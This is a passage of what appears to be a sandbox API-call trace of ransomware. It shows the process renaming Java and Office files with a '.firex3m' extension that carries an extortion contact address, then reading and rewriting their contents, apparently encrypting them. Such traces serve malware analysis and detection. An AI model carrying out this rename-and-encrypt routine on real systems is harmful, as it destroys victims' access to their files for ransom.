lpOverlapped=0x0) returned 1 [0128.546] CloseHandle (hObject=0x4e0) returned 1 [0128.547] GetProcessHeap () returned 0x630000 [0128.547] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x64a048 | out: hHeap=0x630000) returned 1 [0128.547] GetProcessHeap () returned 0x630000 [0128.547] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x649f58 | out: hHeap=0x630000) returned 1 [0128.547] GetProcessHeap () returned 0x630000 [0128.547] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317fe0 | out: hHeap=0x630000) returned 1 [0128.547] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0128.548] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3bbfcc4 | out: lpFindFileData=0x3bbfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x12910022, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x5c, dwReserved0=0x3bbfd20, dwReserved1=0x649f58, cFileName="javafx.properties.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="JAVAFX~1.FIR")) returned 0x6d5540 [0128.548] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0128.548] Sleep (dwMilliseconds=0x1) [0128.583] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif", len=0x4d | out: pbstr=0x3bbff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 1 [0128.583] GetProcessHeap () returned 0x630000 [0128.584] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xd8) returned 0x66a3e0 [0128.584] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0128.584] CloseHandle (hObject=0x4e0) returned 1 [0128.584] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0128.584] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0128.585] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0128.585] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3bbfc6c | out: lpFindFileData=0x3bbfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x93, dwReserved0=0x6d0033, dwReserved1=0x0, cFileName="win32_MoveDrop32x32.gif.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WIN32_~2.FIR")) returned 0x6d4ec0 [0128.585] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0128.585] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0128.585] GetProcessHeap () returned 0x630000 [0128.585] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa1) returned 0x64ead8 [0128.585] GetProcessHeap () returned 0x630000 [0128.585] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa1) returned 0x64f898 [0128.585] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.585] ReadFile (in: hFile=0x4e0, lpBuffer=0x64ead8, nNumberOfBytesToRead=0x80, lpNumberOfBytesRead=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x64ead8*, lpNumberOfBytesRead=0x3bbff0c*=0x80, lpOverlapped=0x0) returned 1 [0128.587] GetProcessHeap () returned 0x630000 [0128.587] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317090 [0128.587] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.587] WriteFile (in: hFile=0x4e0, lpBuffer=0x64f898*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x64f898*, lpNumberOfBytesWritten=0x3bbff0c*=0x80, lpOverlapped=0x0) returned 1 [0128.587] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.587] WriteFile (in: hFile=0x4e0, lpBuffer=0x64f917*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x64f917*, lpNumberOfBytesWritten=0x3bbff0c*=0x20, lpOverlapped=0x0) returned 1 [0128.587] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.587] WriteFile (in: hFile=0x4e0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3bbff0c*=0x4, lpOverlapped=0x0) returned 1 [0128.587] CloseHandle (hObject=0x4e0) returned 1 [0128.588] GetProcessHeap () returned 0x630000 [0128.588] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x64f898 | out: hHeap=0x630000) returned 1 [0128.588] GetProcessHeap () returned 0x630000 [0128.588] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x64ead8 | out: hHeap=0x630000) returned 1 [0128.588] GetProcessHeap () returned 0x630000 [0128.588] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317090 | out: hHeap=0x630000) returned 1 [0128.588] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0128.588] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3bbfcc4 | out: lpFindFileData=0x3bbfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x129826fd, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xb7, dwReserved0=0x3bbfd20, dwReserved1=0x64ead8, cFileName="win32_MoveDrop32x32.gif.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WIN32_~2.FIR")) returned 0x6d5040 [0128.588] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0128.589] Sleep (dwMilliseconds=0x1) [0128.611] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf", len=0x48 | out: pbstr=0x3bbff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 1 [0128.611] GetProcessHeap () returned 0x630000 [0128.611] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xbc) returned 0x66a3e0 [0128.611] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x700 [0128.611] CloseHandle (hObject=0x700) returned 1 [0128.611] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0128.611] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0128.612] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0128.612] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3bbfc6c | out: lpFindFileData=0x3bbfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3b40c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaTypewriterRegular.ttf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LUCIDA~1.FIR")) returned 0x6d4f40 [0128.612] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0128.612] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x700 [0128.612] GetProcessHeap () returned 0x630000 [0128.612] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71cb478 [0128.612] GetProcessHeap () returned 0x630000 [0128.612] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6ff1840 [0128.613] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.613] ReadFile (in: hFile=0x700, lpBuffer=0x71cb478, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x71cb478*, lpNumberOfBytesRead=0x3bbff0c*=0xb400, lpOverlapped=0x0) returned 1 [0136.792] GetProcessHeap () returned 0x630000 [0136.792] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73172c0 [0136.792] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.792] WriteFile (in: hFile=0x700, lpBuffer=0x6ff1840*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ff1840*, lpNumberOfBytesWritten=0x3bbff0c*=0xb400, lpOverlapped=0x0) returned 1 [0136.793] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.793] WriteFile (in: hFile=0x700, lpBuffer=0x6ffcc3f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ffcc3f*, lpNumberOfBytesWritten=0x3bbff0c*=0x20, lpOverlapped=0x0) returned 1 [0136.794] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.794] WriteFile (in: hFile=0x700, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3bbff0c*=0x4, lpOverlapped=0x0) returned 1 [0136.794] CloseHandle (hObject=0x700) returned 1 [0136.799] GetProcessHeap () returned 0x630000 [0136.799] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ff1840 | out: hHeap=0x630000) returned 1 [0136.799] GetProcessHeap () returned 0x630000 [0136.799] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71cb478 | out: hHeap=0x630000) returned 1 [0136.800] GetProcessHeap () returned 0x630000 [0136.800] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73172c0 | out: hHeap=0x630000) returned 1 [0136.800] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0136.800] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3bbfcc4 | out: lpFindFileData=0x3bbfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x177c671d, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x3b430, dwReserved0=0xc947496, dwReserved1=0x71cb470, cFileName="LucidaTypewriterRegular.ttf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LUCIDA~1.FIR")) returned 0x6d5200 [0136.800] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0136.800] Sleep (dwMilliseconds=0x1) [0136.806] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF", len=0x44 | out: pbstr=0x3bbff7c*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 1 [0136.806] GetProcessHeap () returned 0x630000 [0136.806] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x670860, Size=0x234) returned 0x670860 [0136.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x700 [0136.806] CloseHandle (hObject=0x700) returned 1 [0136.806] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0136.806] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0136.807] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0136.807] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3bbfc6c | out: lpFindFileData=0x3bbfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLASSIC2.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CLASSI~1.FIR")) returned 0x6d5280 [0136.807] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0136.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x700 [0136.808] GetProcessHeap () returned 0x630000 [0136.808] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8e1) returned 0x697da8 [0136.808] GetProcessHeap () returned 0x630000 [0136.808] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8e1) returned 0x6e5368 [0136.808] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.808] ReadFile (in: hFile=0x700, lpBuffer=0x697da8, nNumberOfBytesToRead=0x8c0, lpNumberOfBytesRead=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x697da8*, lpNumberOfBytesRead=0x3bbff0c*=0x8c0, lpOverlapped=0x0) returned 1 [0136.817] GetProcessHeap () returned 0x630000 [0136.817] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317a68 [0136.817] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.817] WriteFile (in: hFile=0x700, lpBuffer=0x6e5368*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e5368*, lpNumberOfBytesWritten=0x3bbff0c*=0x8c0, lpOverlapped=0x0) returned 1 [0136.818] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.818] WriteFile (in: hFile=0x700, lpBuffer=0x6e5c27*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e5c27*, lpNumberOfBytesWritten=0x3bbff0c*=0x20, lpOverlapped=0x0) returned 1 [0136.818] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.818] WriteFile (in: hFile=0x700, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3bbff0c*=0x4, lpOverlapped=0x0) returned 1 [0136.818] CloseHandle (hObject=0x700) returned 1 [0136.819] GetProcessHeap () returned 0x630000 [0136.819] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e5368 | out: hHeap=0x630000) returned 1 [0136.819] GetProcessHeap () returned 0x630000 [0136.819] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x697da8 | out: hHeap=0x630000) returned 1 [0136.819] GetProcessHeap () returned 0x630000 [0136.819] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317a68 | out: hHeap=0x630000) returned 1 [0136.819] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0136.819] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3bbfcc4 | out: lpFindFileData=0x3bbfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x177ec97a, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x8fa, dwReserved0=0xc947496, dwReserved1=0x697da0, cFileName="CLASSIC2.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CLASSI~1.FIR")) returned 0x6d4e40 [0136.819] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0136.819] Sleep (dwMilliseconds=0x1) [0138.508] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Constantia-Franklin Gothic Book.xml", len=0x69 | out: pbstr=0x3bbff7c*="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Constantia-Franklin Gothic Book.xml") returned 1 [0138.508] GetProcessHeap () returned 0x630000 [0138.508] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x72b0508, Size=0x1a50) returned 0x72b0508 [0138.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Constantia-Franklin Gothic Book.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\constantia-franklin gothic book.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x68c [0138.523] CloseHandle (hObject=0x68c) returned 1 [0138.523] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0138.523] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Constantia-Franklin Gothic Book.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\constantia-franklin gothic book.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Constantia-Franklin Gothic Book.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\constantia-franklin gothic book.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0138.524] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0138.524] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Constantia-Franklin Gothic Book.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3bbfc6c | out: lpFindFileData=0x3bbfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdf6, dwReserved0=0x610074, dwReserved1=0x740063, cFileName="Constantia-Franklin Gothic Book.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CONSTA~1.FIR")) returned 0x6d5200 [0138.524] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0138.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Constantia-Franklin Gothic Book.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\constantia-franklin gothic book.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x68c [0138.524] GetProcessHeap () returned 0x630000 [0138.524] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe01) returned 0x727c700 [0138.524] GetProcessHeap () returned 0x630000 [0138.524] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe01) returned 0x727f298 [0138.524] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.524] ReadFile (in: hFile=0x68c, lpBuffer=0x727c700, nNumberOfBytesToRead=0xde0, lpNumberOfBytesRead=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x727c700*, 